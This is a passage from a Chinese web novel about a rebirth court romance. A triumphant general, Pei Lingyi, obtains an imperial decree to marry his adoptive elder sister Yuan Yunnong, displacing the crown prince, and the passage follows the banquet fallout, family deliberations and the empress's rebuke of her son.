慕水妃愣了愣,“什么?可他和应怜不是……” 裴令仪看着慕水妃,“水妃阿姊觉得,孤该恨韫浓阿姊吗?” “恨?”慕水妃脸上浮现出担忧,“你和应怜……” 裴令仪低头,“只需告诉孤,是或不是。” 慕水妃顿了顿,依然用忧虑的眼神看着裴令仪,问道:“那你恨应怜吗?” “陛下问我,该不该恨应怜。那陛下合该问自己一句,陛下恨应怜吗?”慕水妃轻声问道。 什么是恨? 怎么才算是恨? 那爱呢? 爱又算什么? “你想要她死吗?”慕水妃问,“看见她落泪,会心疼吗?” 裴令仪无法给出答案。 无法给出答案,因为他带人回京挨个斩首曾经欺辱他之人的那一日,元韫浓落下眼泪的刹那,他确实心痛。 慕水妃继续问:“看到她嫁作沈家妻,是愤怒吗?是嫉妒吗?还是落寞呢?令他们和离,真的是因为我吗?还是因为自己是那么想的呢?” 裴令仪终于发现,他嘴上一直说怎么讨厌元韫浓,恨元韫浓。 被问为什么时,却又说不出所以然。 是因为元韫浓的刻薄吗?还是因为元韫浓的冷眼旁观和高高在上? 不是的,都不是。 原来是恨明月高悬,独不照我。 是在深宫谍影之中,日复一日膨胀的欲念在鬼鬼作祟。 是见不得光的爱恨嗔痴熬成一锅粥,被妒火中烧的怨愤熬干了,都得不到的回应。 是他一次又一次隐秘望向月光,月光却吝啬于照彻他这一方的朽壤。 他当然知道元韫浓的恶劣与唯利是图,他也当然明白元韫浓的虚伪和处心积虑。 只是元韫浓甚至会将那虚假的光随手抛洒向任何一个人,却独独没有扫过他这一方的角落。 他就是那个在报复元韫浓的过程中,还会再爱上元韫浓的蠢货。 于是那时候裴令仪才明白,没有人教他爱,也没有人教他恨。 所以他爱元韫浓爱得痛苦,恨元韫浓也恨得痛苦。 裴令仪不懂,也不知道该怎么去做。即使是后面明白了,也不知道该怎么做。 他把元韫浓困在自己身边,两个人彼此拖拽着继续坠下去。 他恶劣地回忆起和元韫浓的情情爱爱,毕竟做事情的时候,元韫浓总是无法透过他的肩膀望见穹顶。 元韫浓的手攀在他的脊背上,他的后背滚烫,当然也可能是元韫浓的手太凉了。 当快感攀上高峰的时候,一切呼啸着席卷而来,只有这时候,关于元韫浓爱不爱他这件事情,他不想问,他不想听。 他停留在元韫浓的身体里,像雪花一样在最深处沉重地堆积了,元韫浓的嘴唇战栗地掠过他的耳垂。 只有在这样的瞬间,他才真正被元韫浓所接受。 是畅快的,是痛快的,可他们都遍体鳞伤。 因为太过特别,所以不能忽视。 因为太过强硬,所以无法拥抱。 因为太过骄傲,所以难以左右。 “殿下,到宫门口了。”车外传来裴九的声音。 一直在想前世之事的裴令仪,缓缓地睁开了眼睛。 是他前世天资愚钝,参不透缘分,也看不清自己的心。 裴令仪走下车,“走吧。” 即使是如此,他也不能放手。 元韫浓是他在这世上,为数不多的痛苦与欢愉。 * 一连好几日,元韫浓刻意回避跟裴令仪的碰面。 裴令仪二十弱冠,已成年。 由于生辰是在军中过的,也没有行礼。 前不久,由岐国公为裴令仪加冠,补了这个仪式。 再加上裴令仪军功显赫,皇帝迫不得已,咬着牙给他封了个骠骑大将军。 这下是封无可封了,裴令仪一时间风头无限,忙得不可开交。 元韫浓躲起裴令仪来,还方便了许多。 惠帝还特意给裴令仪举办了个接风宴,于是元韫浓这会是避无可避了,只得全家一块去赴宴。 霜降给元韫浓挑选去赴宴时穿的衣裳,元韫浓随手指了一件新做的衣裳。 小满就捧着首饰匣子给元韫浓挑首饰了。 元韫浓还在想裴令仪的事情,有些心不在焉。 偏偏裴令仪还这个时候到了。 一身紫棠色的**袍玉带,裴令仪惯性垂着眼,多少情绪都不显山露水。 裴令仪一来,平日里对裴令仪还算是随和的侍者们这会都起身正色,端正行礼。 毕竟裴令仪如今的身份不一样了,今时不同往日,他们不能给主子添麻烦埋隐患。 圣人之下,紫衣最贵。 男正衣,女起身。 这倒是愈加提醒元韫浓,裴令仪变得不一样了。 元韫浓坐在那看裴令仪走过来,多少有些郁闷。 “沈川查案有功,今日早朝上,惠帝赏赐了财帛。但是他如今已是大理寺寺丞,升任太快,惠帝在十几年之内,不会再给他升职了。”裴令仪说道。 元韫浓没想过他张嘴就提起沈川,难免愣了愣。 周围的侍者都是极有眼力,在元韫浓手底下当差,该懂的都懂。 见裴令仪提起庙堂之上的事情,元韫浓又一副洗耳恭听,要深谈的模样,他们便轻手轻脚地收拾了东西离开。 裴令仪笑了笑,“果然还是军功升得快,毕竟是拿命拼出来的。” 他的语气略带一些自嘲。 毕竟他不可能走沈川的路子,他没有那种光伟正的背景和支持,而且那也太慢了。 做文官的路,他想要达成目的得几年、十几年,甚至于几十年。 但是上战场,他如今就即将要达成了目的不是吗? “阿姊想着我能同沈川那般做个探花郎,在翰林院或是大理寺就职,却不想我成了骠骑大将军,可有失望?”裴令仪问。 “金印紫绶,位同三公,有什么可失望的?”元韫浓微微蹙眉。 她顿了顿,又道:“你两度功冠全军,这明枪暗箭全向着你来了,万事须得小心。” “阿姊放心。”裴令仪唇畔的笑意深了几分,“行军路远,回来路上,我给阿姊带了礼物。” 元韫浓诧异,“什么礼物?” “是首饰。”裴令仪答道。 引着元韫浓到镜前,他极其自然地靠了过来,几乎将元韫浓圈在自己怀里和镜子前。 裴令仪的气息落在元韫浓耳畔,嗓音微哑:“阿姊来瞧瞧,喜不喜欢。” 他垂着眼睛,轻轻撩开元韫浓颈后的长发,指腹无意间蹭过元韫浓的后颈。 元韫浓轻轻一颤。 强忍着这熟悉的亲昵,周遭开始燥热,元韫浓道:“要不还是叫霜降进来给我戴上吧?” “举手之劳的事,阿姊何故再叫旁人来代劳?”裴令仪浅笑。 项链戴上,白玉 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裴令仪轻声问:“我觉得很好看,阿姊觉得呢?” 元韫浓下意识抬眸望向镜子,恰好和镜子里的裴令仪不偏不倚对上视线。 裴令仪和镜中的元韫浓对视,眸光渐暗,像是淬了融化的流银般,扫过她发梢、眼尾、脖颈、肌肤。 似乎视线所过的地方都泛起烫意,连她鬓边摇曳的碎影都格外眷恋。 元韫浓连忙错开视线,“好了,走吧,你的接风宴,迟了可就不好了。” 她推门而出。 裴令仪凝视着元韫浓的背影,停顿了一下,跟了上去。 在慕湖舟请旨赐婚之前,他还一直打算温水煮青蛙的。 但是如今看来,是不行的了。 元韫浓快步走到府门前,却发现原本的马车换成了一辆看着华丽非凡的。 那珠光宝气,金碧辉煌到但凡是过路之人,都会驻足观看的程度。 元韫浓又哽住了,用颤抖的手指了指那辆车,“我的车怎么换成这了?” 马车车壁上雕刻花草、飞禽、走兽,又镶嵌珍珠、玛瑙、金银、宝石、珊瑚…… 简直是恨不得把所有稀世珍宝都镶嵌上去。 好看是好看,华丽是华丽,但是她坐着这个到处跑,还去宫里,未免也太高调了些。 恨不得告诉所有人,我朝荣郡主就是比宫里头所有贵人都高贵,都有钱吗? 霜降犹豫了一下,道:“郡主,五郎换的。” “快给我换回去。”元韫浓恼羞成怒,“这车放出去成什么样子?我现在就已经接了凤印成皇后了吗?” 话音刚落,身后传来裴令仪的声音:“当年国公与长公主为阿姊所制百花裙,百花冠,我如今为阿姊造一架百宝车又如何不可?” 元韫浓转过身看他,更是气得慌。 她都怀疑孩子是不是之前过得太苦了,导致现在报复性地花钱乱买东西,还养成了这种暴发户的方式。 “你是不是打仗伤到脑子了?这像话吗?这能比吗?”元韫浓气道,“百花裙百花冠是我爹娘送我的,而且那时候是及笄之礼。你送的这是到处跑的马车,还要跑去宫里赴宴,还是你的接风宴。” “时候一样吗?意义一样吗?” “我是现在要成太子妃了,不是已经是皇后了。你现在是有了军功,不是当了皇帝了。” “你刚成了骠骑大将军,就送我这样的车马,还嫌我们那位好陛下不够猜忌你,猜忌元氏吗?” “你还嫌盯着你的眼睛不够多,不够众矢之的吗?非得所有人都明里暗里给你使绊子啊?” 可见元韫浓真的气,说了一堆。 裴令仪顿了顿,弯起唇角,“阿姊会成皇后的,提前有这礼遇,也是合理的。” 元韫浓见他这油盐不进的模样,更是险些气倒。 “阿姊快些上车吧,一会赴宴该迟了,我来替阿姊开头引路。”裴令仪照旧噙着笑。 元韫浓感觉一拳打在了棉花上,不想裴令仪在外边开路,还要惹眼高调,只得扯着他一块上了车。 第74章 婚变 裙裳上边沾了裴令仪的血,元韫浓只能先到慕水妃宫里去换上了裴令仪早就备好的衣裙。 元韫浓都怀疑裴令仪是故意的了,他备下的衣裳相当高调。 红绫罗纹曲裾丝绵袍和曲裾素纱襌衣,外罩的蚕丝素衣若隐若现,尤其是在冬日里更引人注意了。 更别提这衣裙还是朱红的。 元韫浓也无所谓了,刚刚裴令仪送她圆月白玉项链还有百宝车的时候她就感觉古怪得很。 若是换作了之前,裴令仪这些礼物是送到了她的心坎上的。 但是如今的裴令仪来送,她隐隐约约有一种风雨欲来的感觉。 事实证明她的感觉也没错,裴令仪果然给她准备了好惊喜。 怎么突然变成这样?她从北凉逃出来,再养好伤回别庄,再和慕湖舟回京,等到裴令仪班师回朝。 前前后后,其实也没过去多久。 短短数月,裴令仪变化真有如此之大吗? 还是说裴令仪早有此心,只是瞒得太好了,她没看出来? 元韫浓再仔细地端详裴令仪那张稠艳的脸,看不出个所以然来,依旧是阴鸷的漂亮。 “阿姊怎么盯着我的脸看?”裴令仪微微翘起唇角。 元韫浓收回了视线,“没什么。” 不得不说,裴令仪的脸确实是生得好啊。 即便是长辈们不喜欢的那种长相,但是也无法否认的漂亮,像是湿漉漉、阴森森的艳鬼。 “阿姊。”裴令仪含笑注视着元韫浓,“一会宴上见了慕湖舟,他若是失态,阿姊可别失态。” “你什么意思?”元韫浓没好气道。 裴令仪也趁这会简单包扎了手上的伤。 他道:“惠帝若是想在宴上揭过原来指婚的意思,怕是会直接再为我与阿姊指婚。” 元韫浓都不敢想那个场面得有多荒唐,史官文人又得多口诛笔伐。 “先斩后奏,可是阿姊教会我的。”裴令仪笑。 毕竟先前元韫浓好几回都是先斩后奏,叫岐国公认他做义弟,也是先斩后奏。 “滚开。”元韫浓没给裴令仪好脸色。 她换上衣裳,就直接向着宫宴地点而去。 裴令仪现在心情格外愉悦,连带着对旁边一头雾水的慕水妃也和颜悦色了起来。 慕水妃相当忧心,“你们吵架了吗?韫浓身子弱,你可别气她,让她伤心。” “阿姊只是提前知道了一个消息,心情不太好,我会劝她的。”裴令仪道。 慕水妃怎么看怎么不像是这样。 毫无意外,宫宴上慕湖舟和元韫浓姗姗来迟。 因为等待元韫浓换了身衣裳的慕水妃也迟了。 到了殿前,裴令仪让慕水妃先进去,慕水妃不明所以。 但见元韫浓神色有些木然,对此没有做出反应,慕水妃便点了一下头进去了。 元韫浓还能不知道吗?裴令仪存心想要挑衅惠帝和慕湖舟而已。 慕水妃被皇后阴阳怪气地斥责了几句来得那么迟之后,便神色如常地入座了。 珠帘漫卷,听得阶前玉磬清响。 慕湖舟用询问的目光看向慕水妃。 岐国公和惠贞长公主已经带着元彻回和元蕴英兄妹入座了,元云和前些日子回了国公府小住后,照旧回白云观修行了,元韫浓怎么还没到? 慕水妃接收到兄长的询问,正想裴令仪和元韫浓在外头怎么还不入内呢,就听见宦官尖声禀报。 “清河王与朝荣郡主到——” 元韫浓依然静谧且美好的模样,那身衣裙衬得她更是清艳。 朱红的裙裾扫过丹陛石雕的睚眦,她身后半步,跟着一身紫棠色的裴令仪。 裴令仪甚至佩剑上殿。 殿内众人倒吸一口凉气,觉得他们岐国公府简直是狂到没边了。 这两人一个朱衣一个紫衣,紫衣那个还未经允许佩剑上殿,仔细瞧瞧那**袍上的**也怎么看怎么像是龙。 没一个于理上是合的。 “朝荣来迟。”元韫浓福身。 慕湖舟正要开口,裴令仪便玩味道:“臣来迟。” 他说道:“还请陛下恕罪,是路上瞧见了匹拦道的野狗,自不量力。阿姊心软,非要给它超度,这才耽搁了时间。” 元韫浓适时地咳嗽起来。 她微不可察地踢了一下裴令仪的靴子,本以为她不知道这是在暗讽慕湖舟。 “入席吧。”惠帝没说什么。 倒是在裴令仪和元韫浓入席之后,又侧过身从身边的宦官那里拿了一瓶药,取了几颗颜色鲜艳的丹吞了。 元韫浓悄无声息地收回视线,只觉得有些可惜。 都这么长时间了,惠帝怎么还没把自己吃丹药吃死呢? “怎么我和阿姊一来就全无丝竹管弦之声了?”满殿死寂中,裴令仪轻笑。 于是乐声再起。 元韫浓几次三番看见皇后似乎是想要说什么,但是碍于裴令仪如今的身份,和惠帝的态度,还是硬生生把质问的声音咽了回去。 菜样上到炙烤鹿肉,是前两日慕湖舟猎的活物,到了今日才宰杀上了桌。 元韫浓不怎么吃,主要是虚不受补,鹿肉补得太猛烈了。 而且,她也不太喜欢这味道。 侍者端着切好的鹿肉到裴令仪和元韫浓桌前时,裴令仪正把玩着方才马车上从元韫浓手里夺来的短刃。 刀光映出元韫浓苍白却平静的面容。 元韫浓看着鹿肉没有动筷子,却听见旁边的裴令仪喉间溢出笑。 “阿姊吃不来的,也不爱吃。”裴令仪说道,“太子殿下怎么连这个都忘了呢?” 旁边的裴九也不知道从哪端来一盅药膳,打开盖子,是黄芪炖鸡。 裴令仪忽然割破自己掌心,将血滴入药盏,“但是阿姊是该进补了。” 元韫浓面无表情,不想跟得了疯病的人说话。 裴令仪非要两只手都伤,她也没有办法,反正裴令仪从小不知道顾惜自己。 滴血有什么用?裴令仪的血比鹿血壮阳吗? 她并不理会裴令仪这种挑衅慕湖舟的行为。 裴令仪收回手,目光扫过慕湖舟难看的脸色,“毕竟……” “改朝换代最是耗人心血。”他压低了声音,在元韫浓耳边轻声说道。 元韫浓瞥了他一眼,并不理睬他。 她冷笑:是啊,前世你不就是改朝换代,耗尽心血而油尽灯枯,英年早逝吗? 元韫浓把黄芪炖鸡推到一边,没有想吃的意思。 裴令仪也不恼,而是又给元韫浓倒上了一杯掺了鲜梨汁的花茶。 琉璃盏映着百枝烛火,将殿内照得恍如白昼。 歌舞升平,但不少人都没有心思观赏了。 元韫浓掩唇轻咳,裴令仪轻轻拍了拍她的背脊,转头示意裴九去把殿门关上。 所有人就这么看着裴令仪仿佛眼里丝毫没有惠帝一样,我行我素。 元韫浓照样没理裴令仪。 有心人见元韫浓跟裴令仪没有交流,已经在猜测了,这是姐弟俩拌嘴了,还是怎么了? 还是说裴令仪如今势大力沉,与元氏有矛盾有冲突了? 又或是说,又有什么大事又发生了? 在京城混迹的达官显贵们多数都会凭借细微的变化而捕风捉影,猜测出一些动向。 看着裴令仪摆到自己面前的蟹酿橙,元韫浓更是无明火起。 裴令仪却仿佛一无所觉,只是笑:“今日的蟹酿橙做得好吃,阿姊快尝尝。” “不吃。”元韫浓哽着一口气。 “那来尝尝这道玉盘霜,阿姊喜欢吃甜食。”裴令仪既不气馁也不恼,继续笑着撤了蟹酿橙,换了一道上前。 元韫浓更气了,“不吃。” 裴令仪又换了一道糕点上来,“梅花山药糕呢?” 他似乎是以此为乐,笑意盈盈地注视着元韫浓。 元韫浓在桌底下踹了一脚得寸进尺的裴令仪。 也就是现在在宫宴上她得给裴令仪面子,不能毁掉多年以来塑造的柔弱形象给裴令仪一巴掌。 不然元韫浓早翻脸了。 “锦州、北州大捷实乃天佑我南朝。”惠帝浑浊的目光扫过元韫浓朱红的裙裾。 他又转动眼珠,看向了元韫浓身边的裴令仪,“如此一来,清河王已官至骠骑大将军,封无可封,赏无可赏。恰好,清河王只有一事相求。” 慕湖舟隐约意识到了什么,毕竟当时他看到了御案上的那份折子。 裴令仪还没回来,那份奏折就已经八百里加急送到御案上了。 显而易见,裴令仪在担心什么。 慕湖舟手中的玉箸搁在食案上,等待惠帝的后 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满殿贵胄的视线都不住瞟向裴令仪、元韫浓和慕湖舟三人。 也不知道从哪先起来的窃语声,声音越来越多,他们交头接耳,混着压抑的抽气。 谁不知道前不久的赏花宴上替慕湖舟和慕载物两个皇子选妃,惠帝口头定下了元韫浓,要为二人拟旨赐婚,还定下了慕湖舟做储君。 虽然不知为何圣旨迟迟未下,但是陛下金口玉言,这事也算是板上钉钉了,只差一个黄道吉日了。 君子一言既出驷马难追,更何况是帝王? 可如今才过去多久?惠帝居然出尔反尔了? 这倒是也罢了,惠帝竟然还给裴令仪和元韫浓赐婚? 简直是匪夷所思,这二人不是自小一起长大的义姐弟吗? 细碎的议论声交织成网。 “这是什么意思?” “陛下在想什么呢?裴清都和元应怜这两人情同手足,如今居然要成未婚夫妻了?” “这重要吗?这道圣旨下之前,郡主的未婚夫可还是太子!” “太子妃变异姓王妃,简直是亏惨了,难不成元氏什么地方得罪了陛下不成?” “简直荒谬,这算是横刀夺爱吗?” “太子也太惨了。” “一个屋檐下长大的姐弟,这也未免太……” “也就是一起长大的,算是青梅竹马吧,血缘上是半点不挨着的。你要是这么说,这还比不上太子和朝荣郡主是表兄妹呢。” “不是,为什么会突然给他们指婚?” “定是元氏见义子得胜归来,功高盖世,想着毕竟是没有亲缘的,得亲上加亲成姻亲关系,才向陛下提的。” “你怎么不说是陛下忌惮清河王功高盖主,利用宗亲姻亲,叫国公府盯着清河王呢?” “要我说你们消息都不灵通,我可是听说了,是清河王自己求婚请旨的。” 满殿哗然中,裴令仪手腕翻转,方才还在给元韫浓切肉的短刀猛地钉入面前的案几上。 “嗡”地一声,刀匕的铮然声让所有人都闭上了嘴。 慕湖舟从内侍宣读旨意起两耳就一阵嗡鸣。 不可置信,震惊,愤怒,不解,困惑,迷茫,仓惶…… 又或许还有什么别的东西,慕湖舟如今的心被填得太满了,以至于思考不了什么别的东西。 他望向惠帝,那双眼睛依然昏沉且什么都装不下。 而他父皇身边的母后,也是跟众人一样露出来如出一辙的表情,但似乎多了几分隐秘的欣喜。 裴令仪则是面不改色。 那元韫浓呢? 慕湖舟望向了元韫浓,元韫浓对此表现得平静,甚至是有些木然地端坐在那里,像是金玉堆砌而成的人偶。 元韫浓整个人似乎浮在一团朦朦的雾气之中。 慕湖舟失手碰落手边蜜桔,圆滚滚、金灿灿的蜜桔咕噜咕噜翻过地上的纹路,滚到元韫浓的裙下。 元韫浓顿了顿,她下意识俯身要捡。 她却被裴令仪攥住了手腕,少年掌心轻轻地摩挲着她腕间的脉。 裴令仪微笑,“掉了的东西,阿姊也要捡吗?” 元韫浓哑然。 第75章 入赘 宫宴结束了,众人各怀心事退场。 元韫浓坐在回去的百宝车上时更是显得心事重重。 岐国公和惠贞长公主也是看着她欲言又止。 “回府上再说吧。”岐国公道。 惠贞长公主点了点头。 裴令仪若无其事地跟元韫浓坐在一块,面带微笑地应对面色不佳的元彻回和元蕴英。 元韫浓回想起,方才宴上慕湖舟的表情和失态。 慕湖舟似乎是想要站起来质问什么,但是他身后的亲卫和幕僚都讪笑着按下了他。 他们都知道在储君到皇帝的这临门一脚,慕湖舟不可以出任何错误。 例如说忤逆君父,又或者说是得罪风头正盛的权臣。 就连皇后都连忙打圆场,说慕湖舟这是兴致大发,想要给裴令仪敬一杯酒。 于是裴令仪似笑非笑地看着,慕湖舟失魂落魄地上去递了一杯酒。 慕湖舟想问,可他连问谁都不知道。 问惠帝吗?问裴令仪吗?还是问元韫浓呢? 又或者说,他该问皇权富贵?问世家荫庇? 还是说,他应该问自己? “阿姊是在想慕湖舟吗?”裴令仪问道。 元韫浓都对他的敏锐感到叹服,“是又怎样?” 裴令仪笑了笑,“阿姊尽管想吧,既然已经答应了我,我相信阿姊的。” 元韫浓可半点看不出来他相信的模样。 “你会放他一马吗?”元韫浓问。 “阿姊想让我放他一马?”裴令仪扬眉。 元韫浓似乎答非所问:“这回算是我出尔反尔,你横刀夺爱。” 裴令仪道:“若是换了旁人,阿姊才不管他死活呢。可是换了慕湖舟,阿姊却觉得亏欠了吗?” “你到底放不放?”元韫浓开始不耐烦了。 “阿姊说的,我都会去做的。”裴令仪垂下眼睛。 富丽堂皇的马车停在国公府门口,元韫浓都没给裴令仪一个眼神,径直下了车。 惠贞长公主他们的车马快一些,在门前似乎在说些什么,等待着元韫浓和裴令仪。 看到元韫浓和裴令仪已到,岐国公道:“应怜,五郎,随我来。” 等一家人都到了书房前,也意味着要好好谈谈了。 到了门前,岐国公顿了顿,对裴令仪道:“五郎,你先在隔间等候片刻。” 裴令仪并不觉得冒犯,反倒是心情愉悦地颔首。 毕竟这也意味着,岐国公和惠贞长公主大概是会接纳他的。 毕竟这些年来他在岐国公府里,可没少费心思在元韫浓的族亲身上。 他们或许会觉得他阴郁难相处,但这么多年了,至少比起代表皇族的慕湖舟来说,他才更算是自己人。 元韫浓随着父母和兄姐一同迈进书房的门。 合上门,惠贞长公主看着元韫浓,未语先叹气。 “你这丫头,到底是怎么想的?”惠贞长公主问,“先前不还说要当皇后吗?这会陛下赐婚,我见你也没有什么太大反应。” 元韫浓道:“女儿先前并非儿戏,确实是想皇后。哪怕是现在,也依然如此。” “那你怎么……如果不是太子,还能有什么可能?”元蕴英蹙眉。 元韫浓顿了顿,她总不能说裴令仪要复辟裴雍吧? 她要是这么说,元彻回和元蕴英现在就能出去跟裴令仪打起来。 短暂的纠结之后,元韫浓道:“陛下下旨,总不好当众抗旨的,他们已经够猜忌元氏了。” “这么说来,陛下好端端的,怎么会突然想到这么乱点鸳鸯谱?”惠贞长公主愁道,“应怜,若是你不愿意,明日母亲便进宫回禀陛下,辞了这门婚事。” “陛下这么做并非是无端端的。”元韫浓说,“而是清都在没回京前,奏折便先八百里加急送回来了。” 元彻回不可置信,“他那份奏折上写的是要求娶你?” 那会裴令仪八百里加急送那份奏折的时候,还说的是重要军机。 他还真信了,还想着这一世裴令仪不跟自己妹妹纠缠也好,就做单纯的义姐义弟,反正也没什么好结果。 慕湖舟也算是良人,又沾亲带故的,知根知底。 结果裴令仪是在圣旨真正下来,婚期定下之前,先去改惠帝的主意? “应是如此。”元韫浓点了点头,“至于陛下为何答应,许是因为清都这前朝血脉的异姓王身份实在特殊,再加上过往仇怨,和如今的兵权,陛下实在忌惮,暂且安抚清都吧?” 裴令仪自己搞出来的事情,元韫浓没打算替他遮掩。 这一关让他自己去过,元韫浓懒得替他多费口舌,又不是非嫁他不可。 但是元韫浓还是看向了惠贞长公主,“母亲,虽说如此,我也并非不愿意嫁。” 惠贞长公主听得一愣又是一愣,“你们……” “我的傻妹妹,你可清醒些吧?你该不会把多年以来姐弟亲情误以为是爱情了吧?”元蕴英拧眉。 “不是。”元韫浓摇头,“他是难能可贵的好刀,我知道他是真心的。” 元蕴英眉头皱得更紧了,“元氏还没完呢,什么时候要轮到你牺牲自己的婚姻来为家族谋后路了?” 元韫浓说:“今日朝会上,御史台总共参了我们元家三本折子。元氏如今犹如刀尖起舞,看着风光无限,背后风险同样无限。” “那也轮不着你来牺牲,你当我们都是死的吗?”元蕴英转向元彻回,“二哥,你说是不是?” 元彻回现在心情复杂得很,他原来是真的很讨厌裴令仪。 可是做了那么多回梦,即使结局都不好,但是无论是哪一个梦,他都能感知到裴令仪爱元韫浓爱到疯魔。 只有这一点无法否认。 “看应怜自己怎么想吧。”元彻回说,“无论嫁谁,都好不过留在家中的。” 岐国公也叹息了几声:“就让应怜自己选吧,为父能做的也不多了,只能尽可能为你兜底。” 毕竟无论从品阶上还是从职能上,如今都是裴令仪更高。 他们元氏唯一能与之相抗的,便是他们是百年世家,根深蒂固,而裴令仪如今只能算是新贵。 即使是有能力有决心的帝王,想要剪去世家百年的羽翼都要掂量自己,何况是一个同样饱受猜忌的异姓王。 裴令仪如今还太不稳了,即使是风头无限,也太不稳了。 所以岐国公才会一开始就把目光放在沈川身上。 因为无论日后沈川如何,他身后同为世家的沈家都能保证元韫浓的锦衣玉食,余生无忧。 对于世家而言,无论是新贵还是皇族都不够稳,只是富贵险中求罢了。 “父亲,我的的确确想好了的。其实于女儿而言,无论是太子表哥还是清都,都没有区别。”元韫浓道。 只是对于元氏而言,或许裴令仪是更好的选择。 因为无论哪一个帝王登上宝座,都很难容忍外戚势大。 而裴令仪不一样,他是一个疯子。 不但没有那么在乎裴氏,也没有那么在乎皇权。 “好,好。”岐国公点了点头,“为父明白了,应怜,你先回去休息吧,今夜你也累着了。” 元韫浓环视周围,发觉所有人都没动。 看来是打算让她回去,接下来跟裴令仪深谈了。 “女儿告退。”元韫浓欠身,转身离开。 至于后面的事情如何发展,那就是裴令仪的事情了。 能不能让岐国公和惠贞长公主他们容得下他,那是他的本事。 等到岐国公他们看着裴令仪走进门,才恍然觉得他仿佛脱胎换骨。 裴令仪刚进岐国公府大门的时候,何等落魄,何等可怜。 可如今真论起品阶和身份来,到了这里,除了惠贞长公主,其余人都不如他。 更何况他如今也有了实权。 裴令仪对着岐国公和惠贞长公主行了个标准的子侄礼,“听闻国公近日膝盖旧疾复发,我在边疆寻来了雪蟾膏,可以止痛,稍后会让人送到书房。” 岐国公神色复杂。 他们都不得不承认,只要裴令仪愿意,很多事情都能做到。 “阿姊告诉我,送人礼物该投其所好。”裴令仪笑了笑,“为长公主备下的薄礼,也会稍后送到院里。” “你……”惠贞长公主欲言又止。 她最终叹了口气,问:“五郎,元氏并不薄你,你实话告诉我,你真的喜爱应怜,准备好与她共度余生了吗?一生很长, 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然而慕湖舟在宫宴结束之后,就被皇后领回了宫中。 皇后警告他:“不管你对元韫浓是余情未了,还是甘愿袖手,你都给我好好的把心思落回肚子里面去。” “你父皇既然已经下了旨意为裴令仪和元韫浓这两个人指婚,就断无可能会再改。”皇后见慕湖舟没有反应,追上慕湖舟。 她语气急促道:“你就差一步就能登上那个位置,你父皇天天沉迷于那些丹药,必然不是长久之象。” “一步之遥!只要你肯忍耐,你肯甘心,待你登基之后什么美人不会有?难道白翩飞不好吗?慕载物还在后面虎视眈眈,你怎么可以这时候带上所有人去为了这么一件小事冒险?” “为君王者,一路走来,只要登上那个位置,什么不可以?什么不能舍弃?” “难道你在这时候还要冒着险去触怒你父皇,得罪裴令仪吗?别为了一个元韫浓而断送了自己的大好前景!” “儿臣不愿!”慕湖舟终于爆发了。 “不愿?”皇后怒道,“你说不愿就有用了?” 她指向紧闭的宫门外,“谁不想将相王侯?那为何天底下有那么多庶民。他们愿意吗?” 慕湖舟脸色惨白。 “历代帝王,身不由己,也不是随心所欲,难道他们乐意了?”皇后继续问。 她拔高了声音:“本宫还不高兴朝荣那死丫头还活着呢,难道这些就能靠本宫不愿意而改变吗?” “这天下事不是会为了你一句不愿意而改变的!”皇后恨铁不成钢道。 慕湖舟看向皇后,“母后,既然没有什么乐意不乐意的,那你嫁给父皇是为什么?为了齐家的荣耀吗?” 皇后一时失言。 在死寂之后,她咬牙道:“本宫为家族,你父皇为皇权!名门世家,皇权富贵,二者相合,众望所归!” 慕湖舟闻言,不禁惨笑:“为了权与利你们才会生下我,审时度势罢了。如今也是审时度势,就可以出尔反尔,横刀夺爱。” “你在愤怒?你在憎恶?有什么用!”皇后掰住慕湖舟的肩膀,尖声道,“你连你父皇的想法都左右不了,连臣子们的口舌都争辩不能,你有什么资格不愿意?” 慕湖舟盯着她,问:“母后,在你眼里,齐家就远甚于一切吗?” 皇后没有回答,而是别过了头,道:“你只需要明白,你若是败了,不仅是本宫,你的皇祖母与舅父,以至于整个齐家都会跌落谷底。” “好、好。”慕湖舟一面点头,一面后退。 他苦笑,“母后不过是仗着我不忍心连累那么多人,抛下所有人。” “是本宫逼你吗?”皇后声音也低了几分,“是本宫不得不做。” “那儿臣便祝愿母后,得偿所愿了。”慕湖舟转过身,离开了这个令人窒息的宫殿。 外面寒风萧瑟,摇曳的灯影似乎都将朱漆廊柱浸成血锈色。 慕湖舟扶着廊柱的手微微发颤,“可笑。” 他的声音很快就消散在空荡荡的长廊里。 第76章 旧人新念,再求来生 裴令仪说清河王府都已经收拾妥当了,随时可以住人。 元韫浓还以为他的意思是,他马上要搬去清河王府了。 没想到裴令仪的意思只是说,元韫浓若是想要换换口味,随时可以去清河王府住上一阵子。 听裴令仪的意思,像是日后还是要住在岐国公府,清河王府跟别庄一样,只是偶尔去住一住。 元韫浓听得一阵无语。 就不说是帝王了,谁家儿郎是这般模样的? 裴雍旁系那些人,要是知道裴令仪打算入赘,非得掀翻天不可。 裴令仪正在跟元韫浓描述在清河王府给她备好的院子,霜降便上了禀报了。 “郡主,太子来了。”霜降小声道,还瞥了一眼裴令仪。 元韫浓有些诧异,她原本以为拿慕湖舟的性子来说,会一个人消沉一段时日,回避她一段日子。 毕竟慕湖舟的性子,也是相对内敛的。 “他是来向阿姊道别的吗?若只是贼心不死,何来见的必要?”裴令仪扯了一下嘴角。 “你别忘了,是你抢的他的,不是他抢的你的。”元韫浓斜睨了裴令仪一眼。 裴令仪低眸不语。 分明就是慕湖舟抢了他的珍宝。 霜降道:“太子连伞都没带,也没带人,就搁雪地里站着呢。” 元韫浓眉心一跳,这一天天的没有一个消停的,这招苦肉计怎么人人都会用? “出去瞧瞧吧。”她叹了口气。 “阿姊若是去了,还回来吗?回来还会愿意嫁给我吗?”裴令仪却突然问。 “在你眼里我便是如此反复无常之人吗?别在那发疯。”元韫浓没搭理他。 元韫浓走了出去,就看见慕湖舟站在台阶之下,也没有撑伞。 站到了檐下,隔着几层台阶,元韫浓低头望着慕湖舟。 元韫浓披着白狐裘,郁若庆云,皎若荆玉。 而霜降撑着伞,站在元韫浓身侧替她遮挡风雪。 “我没有不认命。”慕湖舟轻声道,“我只是不甘心。” 他抬眸认真地看向元韫浓,问道:“所以才想问一问,为什么?” “湖舟啊。”元韫浓望着他,“我时常觉得你有时候过于天真了,又或者是说,你只是仍然怀有希冀,对那些不该怀有希冀的人。” 元韫浓叹了口气:“湖舟,世上不止有你和我两个人。你抛不下太多,我也抛不下,难道你要我顶着牵连那么多人的风险跟你走吗?” “那裴令仪就可以了吗?”慕湖舟问。 “他不在乎这些,可你在乎。”元韫浓平淡道。 慕湖舟无言以对,无法否认,因为元韫浓说的是事实。 而且裴令仪和他不一样。 他从一开始走的路就是正统,是顺理成章。 